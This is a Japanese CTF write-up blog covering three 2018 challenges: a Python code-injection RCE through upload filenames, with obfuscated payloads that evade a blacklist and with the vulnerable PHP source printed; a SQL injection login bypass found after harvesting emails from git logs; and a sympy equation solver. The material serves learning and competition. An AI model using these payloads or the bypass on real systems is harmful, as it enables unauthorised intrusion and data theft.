こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

InCTF 2018 - The Most Secure File Uploader

問題文

Somehow the codes are all messed up and it seems that it was my younger brother. He messed up my File Uploader. But I know you...You dont look like a hacker at all...Can you fix this for me? :)

f:id:graneed:20181007172741p:plain

writeup

ファイルアップロードの機能を持つ画面。 試しに適当な画像をアップロードしてみる。

f:id:graneed:20181007172905p:plain

ファイル名をそのままpythonコードとして実行しているように見える。
なぜそんなことを・・・。

疑問をもちつつも、ファイル名を使用したRCEで攻める。
いちいちファイル名を変えて画面からアップロードは面倒であるため、以降はcurlで実行する。

まずはprint文で様子見するが、拡張子に縛りがあるようだ。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge')\""
Sorry, only JPG, JPEG, PNG & GIF files are allowed.<br>Sorry, your file was not uploaded.<br>

 
拡張子をつけたままだと、拡張子の名前のフィールドにアクセスしようとしてエラーとなる。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge').jpg\""
The file: print('hoge').jpg has been uploaded.<br>File: print('hoge').jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print('hoge').jpg<br><br><br>Traceback (most recent call last):
  File "<string>", line 1, in <module>
AttributeError: 'str' object has no attribute 'jpg'

 
#コメントアウトして解決。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge')#.jpg\""
The file: print('hoge')#.jpg has been uploaded.<br>File: print('hoge')#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print('hoge')#.jpg<br><br><br>hoge

 
pyjailを使って、サーバ内のファイルの取得を試みる。
ただ、blacklist機能があるようで、__class__が使用できない。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(().__class__)#.jpg\""
<br>Filename: print(().__class__)#.jpg<br><br>I think its called blacklisting...!

 
他、__import__os__builtins__なども使用不可だった。
試行錯誤し、最終的にはglobals()から辿り、文字列結合でblacklistを回避し、osモジュールを使用できた。 文字列結合にあたり、+も使用不可であったため、joinで解決。
カレントディレクトリ配下のファイルを表示する。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg\""
The file: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg has been uploaded.<br>File: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg<br><br><br>['index.html', 'favicon.png', 'upload.php', 'flag']

 
flagファイルを表示する。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg\""
The file: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg has been uploaded.<br>File: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg<br><br><br>inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}

 
フラグゲット。 inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}

補足

upload.phpのコードも取得した。何がblacklistに入っていたか確認できる。

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

$blacklist = "import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}";

if(!$_FILES["fileToUpload"]["name"])
{
    die("PLEASE UPLOAD SOMETHING");
}

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . "<br>";
        $uploadOk = 1;
    } else {
        echo "File is not an image." . "<br>";
        $uploadOk = 0;
    }
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large." . "<br>";
    $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed." . "<br>";
    $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded." . "<br>";
    exit();
}
// if everything is ok, try to upload file

if (preg_match("/$blacklist/i", $_FILES["fileToUpload"]["name"])){
    echo "<br>Filename: ".$_FILES["fileToUpload"]["name"]."<br><br>";
    die("I think its called blacklisting...!");
}

echo "The file: ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded." . "<br>";
echo "File: " . $_FILES["fileToUpload"]["name"] . "<br>";
echo "Size: " . $_FILES["fileToUpload"]["size"] . "<br>";
echo "Type: " . $_FILES["fileToUpload"]["type"] . "<br>";
echo "<br><br><br>";
echo $name = urldecode($_FILES["fileToUpload"]["name"]);
echo "<br><br><br>";
echo shell_exec("python -c \"" . $name . "\" 2>&1");

?>

Hackover CTF 2018 - who knows john dows?

問題文

Howdy mate! Just login and hand out the flag, aye! You can find on h18johndoe has all you need!
http://yo-know-john-dow.ctf.hackover.de:4567/login
alternative: 46.101.157.142:4567/login

f:id:graneed:20181007133428p:plain

また、問題文のh18johndoeから、
https://github.com/h18johndoe/user_repository/blob/master/user_repo.rbへリンクあり。

writeup

Username/Emailを入力するログイン画面のみ。 下部のメッセージより、アカウント登録サービスは停止しているようだ。

当然、適当にUsername/Emailを入力してもNGで、以下のメッセージが表示される。

Could not find user!
Please check your identification.

問題文のgithubのリンク先を確認すると、ログイン処理のコードが公開されている。

class UserRepo

  def initialize(database)
    @database = database
    @users = database[:users]
  end

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)
  end

  def user_exists?(identification)
    !get_user_by_identification(identification).nil?
  end

  private

  def get_user_by_identification(identification)
    @users.where(phone: identification).or(email: identification).first
  end

  def hash(password)
    password.reverse
  end

end

login関数にSQLインジェクション脆弱性がある。
また、passwordをハッシュ化していると思いきや、hash関数は文字列を反転させているだけ。

ただ、まずはユーザ存在確認の処理であるuser_exists関数を突破しないと、login関数まで辿り着かないため、Username/Emailを探す必要がある。OSINTかな。

githubのコミットログに情報があるか確認する。

root@kali:~/Contest/hackover18# git clone https://github.com/h18johndoe/user_repository.git
Cloning into 'user_repository'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 12 (delta 2), reused 12 (delta 2), pack-reused 0
Unpacking objects: 100% (12/12), done.
root@kali:~/Contest/hackover18# cd user_repository/
root@kali:~/Contest/hackover18/user_repository# git log
commit b26aed283d56c65845b02957a11d90bc091ac35a (HEAD -> master, origin/master, origin/HEAD)
Author: John Doe <angelo_muh@yahoo.org>
Date:   Tue Oct 2 23:55:57 2018 +0200

    Add login method

commit 5383fb4179f1aec972c5f2cc956a0fee07af353a
Author: John Doe <jamez@hemail.com>
Date:   Tue Oct 2 23:04:13 2018 +0200

    Add methods

commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153c
Author: John Doe <john_doe@gmail.com>
Date:   Tue Oct 2 23:02:26 2018 +0200

    Add dependency injection for database

commit 3ec70acbf846037458c93e8d0cb79a6daac98515
Author: John Doe <john_doe@notes.h18>
Date:   Tue Oct 2 23:01:30 2018 +0200

    Add user repo class and file

得られたEmail情報は以下の通り。

Author: John Doe <angelo_muh@yahoo.org>
Author: John Doe <jamez@hemail.com>
Author: John Doe <john_doe@gmail.com>
Author: John Doe <john_doe@notes.h18>

john_doe@notes.h18をログイン画面のUsername/Email欄に入力すると先に進めた。

f:id:graneed:20181007134455p:plain

あとはSQLインジェクションで突破するだけ。

query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1" hashed_input_password' or 'A'='Aをセットできれば良いため、反転させたA'='A' ro 'を入力する。

f:id:graneed:20181007134720p:plain

フラグゲット。
hackover18{I_KN0W_H4W_70_STALK_2018}

CSAW CTF Quals 2018 - Algebra

問題文

Are you a real math wiz?
nc misc.chal.csaw.io 9002

writeup

まずはncコマンドで接続してみる。

root@kali:~# nc misc.chal.csaw.io 9002
  ____                                     __ _           _            ___ ___ 
 / ___|__ _ _ __     _   _  ___  _   _    / _(_)_ __   __| |  __  __  |__ \__ \
| |   / _` | '_ \   | | | |/ _ \| | | |  | |_| | '_ \ / _` |  \ \/ /    / / / /
| |__| (_| | | | |  | |_| | (_) | |_| |  |  _| | | | | (_| |   >  <    |_| |_| 
 \____\__,_|_| |_|   \__, |\___/ \__,_|  |_| |_|_| |_|\__,_|  /_/\_\   (_) (_) 
                     |___/                                                     
**********************************************************************************
17 - X = 126
What does X equal?: 
HEYYYY THAT IS NOT VALID INPUT REMEMBER WE ONLY ACCEPT DECIMALS!

方程式をひたすら解いていく。

最初は簡単な式だったが、後半になるにつれて複雑になったため、sympyライブラリを使用した。

実行コードは以下の通り。

import socket
import re
import sympy
from sympy.abc import _clash1
from sympy import sympify

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1).decode('utf-8')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc.chal.csaw.io', 9002))

receivedata = s.recv(1024).decode('utf-8')
print("[+]receivedata=",receivedata)

while True:
    receivedata = recvuntil(s, "\n")

    print("[+]receivedata=",receivedata)

    pattern = r'(.*) = (.*)'
    m1 = re.search(pattern, receivedata)
    if m1:
        left = m1.group(1)
        right = m1.group(2)
        formula = "(" + left + ")" + "-" + right
    else:
        exit(1)

    print("[+]formula=",formula)
    ans = sympy.solve(sympify(formula, locals=_clash1))
    print("[+]ans=",ans)
    if ans:
        senddata = str(eval(str(ans[0])))
    else:
        senddata = str(0)

    print("[+]senddata=",senddata)
    s.sendall((senddata+"\n").encode("utf-8"))

    receivedata = recvuntil(s, "\n")
    print("[+]receivedata=",receivedata)

実行結果の後半はこちら。えぐい方程式。手作り実装は厳しい。

[+]receivedata= ((((((5 + 1) * (X + 17)) - ((13 * 10) + (15 * 12))) + (((15 + 5) + (1 - 5)) - ((16 - 12) * (7 * 10)))) * ((((8 - 12) * (11 - 14)) - ((17 * 14) - (9 * 15))) + (((20 * 19) + (1 * 6)) * ((19 - 11) - (14 + 8))))) * (((((13 * 9) - (5 * 18)) + ((3 - 15) * (17 - 11))) + (((8 * 16) + (9 + 15)) + ((6 + 4) - (4 - 3)))) * ((((11 - 1) * (20 - 20)) + ((3 - 11) + (5 - 3))) * (((17 * 10) * (12 - 19)) * ((18 - 1) + (8 * 9)))))) + ((((((6 - 16) * (7 - 9)) + ((7 - 7) - (16 * 6))) + (((2 - 16) + (12 - 13)) - ((3 * 13) - (14 * 10)))) * ((((15 - 14) * (17 * 11)) - ((18 + 15) * (4 + 12))) - (((14 + 16) - (13 + 18)) * ((10 + 9) * (15 - 4))))) + (((((8 - 12) - (13 * 2)) * ((11 * 1) * (20 * 18))) - (((6 - 14) - (15
* 13)) * ((14 * 3) * (9 * 9)))) * ((((10 + 13) - (14 - 11)) * ((6 + 6) * (19 + 5))) - (((14 - 15) - (16 + 18)) - ((5 - 11) + (7 + 12)))))) = 147443309452728

[+]formula= (((((((5 + 1) * (X + 17)) - ((13 * 10) + (15 * 12))) + (((15 + 5) + (1 - 5)) - ((16 - 12) * (7 * 10)))) * ((((8 - 12) * (11 - 14)) - ((17 * 14) - (9 * 15))) + (((20 *
19) + (1 * 6)) * ((19 - 11) - (14 + 8))))) * (((((13 * 9) - (5 * 18)) + ((3 - 15) * (17 - 11))) + (((8 * 16) + (9 + 15)) + ((6 + 4) - (4 - 3)))) * ((((11 - 1) * (20 - 20)) + ((3 - 11) + (5 - 3))) * (((17 * 10) * (12 - 19)) * ((18 - 1) + (8 * 9)))))) + ((((((6 - 16) * (7 - 9)) + ((7 - 7) - (16 * 6))) + (((2 - 16) + (12 - 13)) - ((3 * 13) - (14 * 10)))) * ((((15 - 14) * (17 * 11)) - ((18 + 15) * (4 + 12))) - (((14 + 16) - (13 + 18)) * ((10 + 9) * (15 - 4))))) + (((((8 - 12) - (13 * 2)) * ((11 * 1) * (20 * 18))) - (((6 - 14) - (15 * 13)) * ((14 * 3) * (9 * 9)))) * ((((10 + 13) - (14 - 11)) * ((6 + 6) * (19 + 5))) - (((14 - 15) - (16 + 18)) - ((5 - 11) + (7 + 12)))))))-147443309452728
[+]ans= [18]
[+]senddata= 18
[+]receivedata= What does X equal?: YAAAAAY keep going

[+]receivedata= ((((((8 - X) + (13 + 15)) + ((20 * 18) * (10 - 10))) * (((2 * 12) - (9 * 18)) * ((9 * 2) + (8 - 12)))) * ((((19 * 15) * (9 - 17)) - ((16 - 16) * (7 + 14))) * (((20 * 5) + (1 * 8)) * ((1 * 7) * (15 - 14))))) * (((((9 + 5) - (14 - 1)) + ((3 + 19) + (12 - 17))) - (((13 * 20) * (20 * 18)) - ((19 - 16) - (8 * 3)))) + ((((10 * 13) * (10 * 16)) -
((13 * 4) * (12 * 16))) - (((20 * 2) - (14 - 8)) - ((9 - 8) * (5 + 7)))))) - ((((((1 * 8) - (9 - 17)) + ((8 - 2) - (7 + 1))) + (((16 - 17) + (6 - 5)) * ((3 * 5) - (10 + 14)))) + ((((10 + 17) * (9 * 19)) * ((9 * 16) - (19 - 6))) - (((7 + 12) * (5 * 12)) * ((11 - 13) + (13 - 6))))) - (((((20 - 19) + (1 * 16)) + ((3 - 17) - (17 * 19))) + (((9 * 7) - (1 - 1))
+ ((1 + 20) - (8 - 20)))) - ((((7 - 18) - (8 - 12)) - ((11 * 5) * (20 - 6))) + (((3 + 16) + (3 * 20)) + ((8 - 8) + (10 * 17)))))) = -7169925658970677

[+]formula= (((((((8 - X) + (13 + 15)) + ((20 * 18) * (10 - 10))) * (((2 * 12) - (9 * 18)) * ((9 * 2) + (8 - 12)))) * ((((19 * 15) * (9 - 17)) - ((16 - 16) * (7 + 14))) * (((20 *
5) + (1 * 8)) * ((1 * 7) * (15 - 14))))) * (((((9 + 5) - (14 - 1)) + ((3 + 19) + (12 - 17))) - (((13 * 20) * (20 * 18)) - ((19 - 16) - (8 * 3)))) + ((((10 * 13) * (10 * 16)) - ((13 * 4) * (12 * 16))) - (((20 * 2) - (14 - 8)) - ((9 - 8) * (5 + 7)))))) - ((((((1 * 8) - (9 - 17)) + ((8 - 2) - (7 + 1))) + (((16 - 17) + (6 - 5)) * ((3 * 5) - (10 + 14)))) + ((((10 + 17) * (9 * 19)) * ((9 * 16) - (19 - 6))) - (((7 + 12) * (5 * 12)) * ((11 - 13) + (13 - 6))))) - (((((20 - 19) + (1 * 16)) + ((3 - 17) - (17 * 19))) + (((9 * 7) - (1 - 1)) + ((1 + 20) - (8 - 20)))) - ((((7 - 18) - (8 - 12)) - ((11 * 5) * (20 - 6))) + (((3 + 16) + (3 * 20)) + ((8 - 8) + (10 * 17)))))))--7169925658970677
[+]ans= [10]
[+]senddata= 10
[+]receivedata= What does X equal?: YAAAAAY keep going

[+]receivedata= ((((((2 - X) + (5 + 7)) * ((5 + 5) - (4 - 19))) * (((1 * 10) * (8 + 20)) - ((5 - 16) + (20 * 2)))) * ((((9 * 4) - (4 * 4)) - ((3 + 13) - (5 + 7))) + (((8 * 15) - (1 + 14)) * ((5 - 20) - (19 * 14))))) * (((((7 - 9) * (12 - 3)) - ((8 + 2) * (12 * 20))) - (((19 + 15) - (13 * 15)) - ((19 - 14) * (9 * 18)))) + ((((20 - 2) + (6 * 15)) + ((9 + 11) * (3 * 5))) + (((4 * 4) * (13 + 18)) + ((6 * 3) - (3 * 3)))))) * ((((((20 + 12) + (18 - 3)) + ((12 * 1) + (5 + 15))) + (((3 * 2) + (19 * 4)) + ((13 - 19) + (18 * 12)))) * ((((13
- 18) - (2 - 6)) + ((19 + 19) + (1 - 7))) * (((11 * 6) * (17 - 2)) + ((17 - 2) - (20 - 9))))) * (((((13 + 9) - (16 - 11)) - ((8 * 12) + (17 - 20))) + (((9 + 6) * (17 + 16)) - ((6
+ 13) + (4 - 7)))) + ((((10 + 6) - (8 - 19)) * ((20 + 9) + (1 * 18))) + (((8 - 14) - (12 * 6)) * ((12 + 12) * (2 - 12)))))) = -115177287736476361956000

[+]formula= (((((((2 - X) + (5 + 7)) * ((5 + 5) - (4 - 19))) * (((1 * 10) * (8 + 20)) - ((5 - 16) + (20 * 2)))) * ((((9 * 4) - (4 * 4)) - ((3 + 13) - (5 + 7))) + (((8 * 15) - (1 + 14)) * ((5 - 20) - (19 * 14))))) * (((((7 - 9) * (12 - 3)) - ((8 + 2) * (12 * 20))) - (((19 + 15) - (13 * 15)) - ((19 - 14) * (9 * 18)))) + ((((20 - 2) + (6 * 15)) + ((9 + 11) *
(3 * 5))) + (((4 * 4) * (13 + 18)) + ((6 * 3) - (3 * 3)))))) * ((((((20 + 12) + (18 - 3)) + ((12 * 1) + (5 + 15))) + (((3 * 2) + (19 * 4)) + ((13 - 19) + (18 * 12)))) * ((((13 - 18) - (2 - 6)) + ((19 + 19) + (1 - 7))) * (((11 * 6) * (17 - 2)) + ((17 - 2) - (20 - 9))))) * (((((13 + 9) - (16 - 11)) - ((8 * 12) + (17 - 20))) + (((9 + 6) * (17 + 16)) - ((6 + 13) + (4 - 7)))) + ((((10 + 6) - (8 - 19)) * ((20 + 9) + (1 * 18))) + (((8 - 14) - (12 * 6)) * ((12 + 12) * (2 - 12)))))))--115177287736476361956000
[+]ans= [19]
[+]senddata= 19
[+]receivedata= What does X equal?: YAAAAAY keep going

[+]receivedata= flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}

以降、例外発生

フラグゲット。
flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}